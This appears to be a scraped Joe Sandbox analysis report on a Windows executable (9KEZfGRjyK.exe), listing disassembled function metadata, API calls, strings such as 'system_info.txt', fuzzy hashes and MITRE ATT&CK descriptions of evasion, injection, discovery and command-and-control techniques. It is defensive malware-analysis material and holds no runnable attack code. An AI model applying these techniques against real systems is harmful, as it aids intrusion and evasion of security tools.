WakeByAddressSingle.API-MS-WIN-CORE-SYNCH-L1-2-0 ref: 00007FF7B902C7B5

Strings

Box<dyn Any>aborting due to panic at , xrefs: 00007FF7B902C595
<unnamed>, xrefs: 00007FF7B902C674, 00007FF7B902C68A
main, xrefs: 00007FF7B902C8A7

Memory Dump Source

Source File: 00000000.00000002.2466110561.00007FF7B9011000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7B9010000, based on PE: true

Associated: 00000000.00000002.2466080486.00007FF7B9010000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466159313.00007FF7B9050000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466199351.00007FF7B906A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466230411.00007FF7B906B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7b9010000_9KEZfGRjyK.jbxd

Similarity

API ID: AddressSingleWake
String ID: <unnamed>$Box<dyn Any>aborting due to panic at $main
API String ID: 3114109732-896199136
Opcode ID: 0026388bcf7ca5048021ae864d0e4a43bbb5f126b99ceda82b88653c6e9fc59c
Instruction ID: 7418cf91703849786189fe9bc4deb17ade6b6ae1a960a9dac50cdb16112d4be1
Opcode Fuzzy Hash: 0026388bcf7ca5048021ae864d0e4a43bbb5f126b99ceda82b88653c6e9fc59c
Instruction Fuzzy Hash: 0ED19122A08A5385EB51AF29D4403FDB7B0EB26B88F844476DB6D47798CF3DE485C360

Function 00007FF7B9049D58 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 154COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00007FF7B9049D83
_IsNonwritableInCurrentImage.LIBCMT ref: 00007FF7B9049E1A
RtlUnwindEx.KERNEL32 ref: 00007FF7B9049E74

Strings

csm, xrefs: 00007FF7B9049E01

Memory Dump Source

Source File: 00000000.00000002.2466110561.00007FF7B9011000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7B9010000, based on PE: true

Associated: 00000000.00000002.2466080486.00007FF7B9010000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466159313.00007FF7B9050000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466199351.00007FF7B906A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466230411.00007FF7B906B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7b9010000_9KEZfGRjyK.jbxd

Similarity

API ID: CurrentImageNonwritableUnwind__except_validate_context_record
String ID: csm
API String ID: 2395640692-1018135373
Opcode ID: 1073ff76e281692413ab2b7aa27f58aec6c4a35b0489a6cc94ddb9ff7625e67e
Instruction ID: 4d3a8d9c83f5cc06a3d29a91143fd9911b9628bea984415c051950abb60e1fdf
Opcode Fuzzy Hash: 1073ff76e281692413ab2b7aa27f58aec6c4a35b0489a6cc94ddb9ff7625e67e
Instruction Fuzzy Hash: FB519031A19A038ADB14AE1AE084A79B3B1EB65F88F914134DB794378EDF3DE841C710

Function 00007FF7B904A0A4 Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 31COMMON

Download Yara Rule

APIs

terminate.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF7B904A104

Strings

MOC, xrefs: 00007FF7B904A0BC
csm, xrefs: 00007FF7B904A0C4
RCC, xrefs: 00007FF7B904A0B4

Memory Dump Source

Source File: 00000000.00000002.2466110561.00007FF7B9011000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7B9010000, based on PE: true

Associated: 00000000.00000002.2466080486.00007FF7B9010000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466159313.00007FF7B9050000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466199351.00007FF7B906A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466230411.00007FF7B906B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7b9010000_9KEZfGRjyK.jbxd

Similarity

API ID: terminate
String ID: MOC$RCC$csm
API String ID: 1821763600-2671469338
Opcode ID: 7452083ed9cb36d213407fe42873fc44bc2a82579146da1c61ef2b8bef4380e9
Instruction ID: 3ef373fa5129bf488ef9b3114d7452c33d8e80c450370d057d87253d721ce400
Opcode Fuzzy Hash: 7452083ed9cb36d213407fe42873fc44bc2a82579146da1c61ef2b8bef4380e9
Instruction Fuzzy Hash: C8F0AF36908647C6E7647F1B918106CB274EFAA740F8A9131D76C077AACF7CE490E661

Function 00007FF7B90390C0 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 27libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32 ref: 00007FF7B90390D9
GetProcAddress.KERNEL32 ref: 00007FF7B90390EE

Strings

kernel32, xrefs: 00007FF7B90390D2
SetThreadDescription, xrefs: 00007FF7B90390E4

Memory Dump Source

Source File: 00000000.00000002.2466110561.00007FF7B9011000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7B9010000, based on PE: true

Associated: 00000000.00000002.2466080486.00007FF7B9010000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466159313.00007FF7B9050000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466199351.00007FF7B906A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466230411.00007FF7B906B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7b9010000_9KEZfGRjyK.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: SetThreadDescription$kernel32
API String ID: 1646373207-1950310818
Opcode ID: 413311be91697036f5db5f8af35ed6315efe56a155240f357945624ab3dea04c
Instruction ID: 01b476c1fec3aeb4f49eb903fee9bbe656587dfe175d71f077addf7130e2f1d0
Opcode Fuzzy Hash: 413311be91697036f5db5f8af35ed6315efe56a155240f357945624ab3dea04c
Instruction Fuzzy Hash: 0EF05B15B0D743E1FA15AF49A9881B4B3B4AF2ABD0FC44035CA7D227589E2CE545D220

Function 00007FF7B9031460 Relevance: 6.1, APIs: 4, Instructions: 103COMMON

Download Yara Rule

APIs

CancelIo.KERNEL32(?,?,?,?,?,?,?,00000000,00000000,?,00007FF7B901F97D,?,?,00000000,00000000,?), ref: 00007FF7B9031488
GetOverlappedResult.KERNEL32(?,?,?,?,?,?,?,00000000,00000000,?,00007FF7B901F97D,?,?,00000000,00000000,?), ref: 00007FF7B90314AA
GetLastError.KERNEL32(?,?,?,?,?,?,?,00000000,00000000,?,00007FF7B901F97D,?,?,00000000,00000000,?), ref: 00007FF7B90314BC
GetLastError.KERNEL32(?,?,?,?,?,?,?,00000000,00000000,?,00007FF7B901F97D,?,?,00000000,00000000,?), ref: 00007FF7B9031528

Memory Dump Source

Source File: 00000000.00000002.2466110561.00007FF7B9011000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7B9010000, based on PE: true

Associated: 00000000.00000002.2466080486.00007FF7B9010000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466159313.00007FF7B9050000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466199351.00007FF7B906A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466230411.00007FF7B906B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7b9010000_9KEZfGRjyK.jbxd

Similarity

API ID: ErrorLast$CancelOverlappedResult
String ID:
API String ID: 3836860830-0
Opcode ID: a884bd1a06d4c2eb8e9cbb3695207d8384306ba8dfc3dcae3472e3a9cd46b628
Instruction ID: 1aa3c724db5d31050c07515e9a640dbf8c06d27ca8eb29fe72c153114c789a35
Opcode Fuzzy Hash: a884bd1a06d4c2eb8e9cbb3695207d8384306ba8dfc3dcae3472e3a9cd46b628
Instruction Fuzzy Hash: AD419F32A18A4285EB50AF69D9403AD67B0FBA9794F548631DF6E43BC8DF38D580C320

Function 00007FF7B9032BA8 Relevance: 6.1, APIs: 4, Instructions: 94COMMON

Download Yara Rule

APIs

SetLastError.KERNEL32 ref: 00007FF7B9032CF7
GetSystemDirectoryW.KERNEL32 ref: 00007FF7B9032D03
GetLastError.KERNEL32 ref: 00007FF7B9032D10
GetLastError.KERNEL32 ref: 00007FF7B9032D2A

Memory Dump Source

Source File: 00000000.00000002.2466110561.00007FF7B9011000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7B9010000, based on PE: true

Associated: 00000000.00000002.2466080486.00007FF7B9010000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466159313.00007FF7B9050000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466199351.00007FF7B906A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466230411.00007FF7B906B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7b9010000_9KEZfGRjyK.jbxd

Similarity

API ID: ErrorLast$DirectorySystem
String ID:
API String ID: 860285823-0
Opcode ID: eb39d9dc3ab494b94e2d1b0ffc44216c63ff8d20ddcc7591486e24af19e69c66
Instruction ID: 2b308614af54199e16c73419b11a61f9dc73978b85ef36c594e0b3c4a5929d1a
Opcode Fuzzy Hash: eb39d9dc3ab494b94e2d1b0ffc44216c63ff8d20ddcc7591486e24af19e69c66
Instruction Fuzzy Hash: EA41B721A18AA245E7746F3D8D443BAA2A1BB2AB55F904135DA6D8BBCCDF28D540D310

Function 00007FF7B90310D0 Relevance: 6.1, APIs: 4, Instructions: 83COMMON

Download Yara Rule

APIs

CreateEventW.KERNEL32(?,?,?,00000000,?,?,?,00007FF7B9030D5D), ref: 00007FF7B9031100
GetLastError.KERNEL32(?,?,?,00000000,?,?,?,00007FF7B9030D5D), ref: 00007FF7B903115D
CloseHandle.KERNEL32(?,?,?,?,?,?,?,00000000,?,?,?,00007FF7B9030D5D), ref: 00007FF7B90311CE
CloseHandle.KERNEL32(?,?,?,?,?,?,?,00000000,?,?,?,00007FF7B9030D5D), ref: 00007FF7B90311D4

Memory Dump Source

Source File: 00000000.00000002.2466110561.00007FF7B9011000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7B9010000, based on PE: true

Associated: 00000000.00000002.2466080486.00007FF7B9010000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466159313.00007FF7B9050000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466199351.00007FF7B906A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466230411.00007FF7B906B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7b9010000_9KEZfGRjyK.jbxd

Similarity

API ID: CloseHandle$CreateErrorEventLast
String ID:
API String ID: 3743700123-0
Opcode ID: 19626a39ad0d5ba7b181dd2f40a95146c2c1a4e072f003b6bbab82c629dff18b
Instruction ID: fbc5449187483782485d9aea1b8abc836e21755bb2ffe3f81cbdf3eeee26f2ca
Opcode Fuzzy Hash: 19626a39ad0d5ba7b181dd2f40a95146c2c1a4e072f003b6bbab82c629dff18b
Instruction Fuzzy Hash: FC21D233A04B0286F7215F26B8403A9A674FB9A7A0F588234DFAD137D4EE3CD4D28310

Function 00007FF7B904904C Relevance: 6.0, APIs: 4, Instructions: 39timethreadCOMMON

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 00007FF7B9049078
GetCurrentThreadId.KERNEL32 ref: 00007FF7B9049086
GetCurrentProcessId.KERNEL32 ref: 00007FF7B9049092
QueryPerformanceCounter.KERNEL32 ref: 00007FF7B90490A2

Memory Dump Source

Source File: 00000000.00000002.2466110561.00007FF7B9011000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7B9010000, based on PE: true

Associated: 00000000.00000002.2466080486.00007FF7B9010000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466159313.00007FF7B9050000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466199351.00007FF7B906A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466230411.00007FF7B906B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7b9010000_9KEZfGRjyK.jbxd

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: 43b5c4cba9f747e9d25ac04b51d92f885defc1a8dfb37f1489eaa0b42e208026
Instruction ID: 03514467bb64bed0a7110e4736e2f4782a63e83c810634e9b92db913475c0d79
Opcode Fuzzy Hash: 43b5c4cba9f747e9d25ac04b51d92f885defc1a8dfb37f1489eaa0b42e208026
Instruction Fuzzy Hash: 90111F22B14B0289EB40AF64E8542B873B4F72A758F440E35DB6D86798DF78D5548350

Function 00007FF7B904E574 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 190COMMON

Download Yara Rule

APIs

WakeByAddressAll.API-MS-WIN-CORE-SYNCH-L1-2-0 ref: 00007FF7B904E60E
WakeByAddressSingle.API-MS-WIN-CORE-SYNCH-L1-2-0 ref: 00007FF7B904E846

Strings

use of std::thread::current() is not possible after the thread's local data has been destroyedlibrary\std\src\thread\mod.rs, xrefs: 00007FF7B904E8BC

Memory Dump Source

Source File: 00000000.00000002.2466110561.00007FF7B9011000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7B9010000, based on PE: true

Associated: 00000000.00000002.2466080486.00007FF7B9010000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466159313.00007FF7B9050000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466199351.00007FF7B906A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466230411.00007FF7B906B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7b9010000_9KEZfGRjyK.jbxd

Similarity

API ID: AddressWake$Single
String ID: use of std::thread::current() is not possible after the thread's local data has been destroyedlibrary\std\src\thread\mod.rs
API String ID: 1135737206-63010627
Opcode ID: 8a86cd98932279247778391f93ff708e004df7436a706d6f3d3cea724bd37281
Instruction ID: 2760b41df263073bba1abd77da33771e3879a8adf998b0218122150e7d717bee
Opcode Fuzzy Hash: 8a86cd98932279247778391f93ff708e004df7436a706d6f3d3cea724bd37281
Instruction Fuzzy Hash: D3913A21E08A4385FB11FF1CE880379A7B0AB76764F854535DB2D823A9DF2DE685D360

Function 00007FF7B904EA94 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 83COMMON

Download Yara Rule

APIs

WakeByAddressAll.API-MS-WIN-CORE-SYNCH-L1-2-0 ref: 00007FF7B904EB62
WakeByAddressAll.API-MS-WIN-CORE-SYNCH-L1-2-0 ref: 00007FF7B904EC00

Strings

system_info.txtFailed to write to file: , xrefs: 00007FF7B904EBD6

Memory Dump Source

Source File: 00000000.00000002.2466110561.00007FF7B9011000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7B9010000, based on PE: true

Associated: 00000000.00000002.2466080486.00007FF7B9010000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466159313.00007FF7B9050000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466199351.00007FF7B906A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466230411.00007FF7B906B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7b9010000_9KEZfGRjyK.jbxd

Similarity

API ID: AddressWake
String ID: system_info.txtFailed to write to file:
API String ID: 98804233-2426490079
Opcode ID: cafdba6228075f100baa5bb20edf4749aba7be72585362519b9a1f3a86e265ea
Instruction ID: cd8617f3eb8b516aee57b099c5a1dd9e0a4ec0af04c9fcba2aebf81fe3db4e6f
Opcode Fuzzy Hash: cafdba6228075f100baa5bb20edf4749aba7be72585362519b9a1f3a86e265ea
Instruction Fuzzy Hash: 69318132A0860386F721AF19F85036AB6B0FB66314F914535DB9E46794CF7DE586C3A0

Function 00007FF7B90265B0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 72COMMON

Download Yara Rule

Strings

lock count overflow in reentrant mutexlibrary\std\src\sync\reentrant_lock.rs, xrefs: 00007FF7B902658C
use of std::thread::current() is not possible after the thread's local data has been destroyedlibrary\std\src\thread\mod.rs, xrefs: 00007FF7B9026574

Memory Dump Source

Source File: 00000000.00000002.2466110561.00007FF7B9011000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7B9010000, based on PE: true

Associated: 00000000.00000002.2466080486.00007FF7B9010000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466159313.00007FF7B9050000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466199351.00007FF7B906A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466230411.00007FF7B906B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7b9010000_9KEZfGRjyK.jbxd

Similarity

API ID: AddressSingleWake
String ID: lock count overflow in reentrant mutexlibrary\std\src\sync\reentrant_lock.rs$use of std::thread::current() is not possible after the thread's local data has been destroyedlibrary\std\src\thread\mod.rs
API String ID: 3114109732-122189663
Opcode ID: 64d5a3d3fa18f3a3fc433c4ccd56d879ed2de9446630ab22567387b405544f65
Instruction ID: 0b65b751540e4adafb4074e13b0f657600182f7bd8d8e24948ecb28b223792ac
Opcode Fuzzy Hash: 64d5a3d3fa18f3a3fc433c4ccd56d879ed2de9446630ab22567387b405544f65
Instruction Fuzzy Hash: 48319022F05A1299EB50EF68D8453EC73B0BB61718FA48636CF2C52799EF38D586C310

Function 00007FF7B9049CB0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44COMMON

Download Yara Rule

APIs

RtlPcToFileHeader.KERNEL32(?,?,?,?,?,?,?,?,?,00007FF7B903B590), ref: 00007FF7B9049D00
RaiseException.KERNEL32(?,?,?,?,?,?,?,?,?,00007FF7B903B590), ref: 00007FF7B9049D41

Strings

csm, xrefs: 00007FF7B9049D2E

Memory Dump Source

Source File: 00000000.00000002.2466110561.00007FF7B9011000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7B9010000, based on PE: true

Associated: 00000000.00000002.2466080486.00007FF7B9010000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466159313.00007FF7B9050000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466199351.00007FF7B906A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466230411.00007FF7B906B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7b9010000_9KEZfGRjyK.jbxd

Similarity

API ID: ExceptionFileHeaderRaise
String ID: csm
API String ID: 2573137834-1018135373
Opcode ID: e5c20127fb61fcfa79ca1083f679c47f420afe444f066555bc0ec0915a8c86cb
Instruction ID: fb321cf870c2da4a5b4bb4ba53290a868499ac5d8a00154534b0f605223c73d0
Opcode Fuzzy Hash: e5c20127fb61fcfa79ca1083f679c47f420afe444f066555bc0ec0915a8c86cb
Instruction Fuzzy Hash: DB115B32618B4282EB619F29E480269B7F4FB9AB84F984230DF9D07B59DF3CD551CB00

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an existing, legitimate external Web service as a means for relaying data to/from a compromised system. Popular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 9KEZfGRjyK.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Networking

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

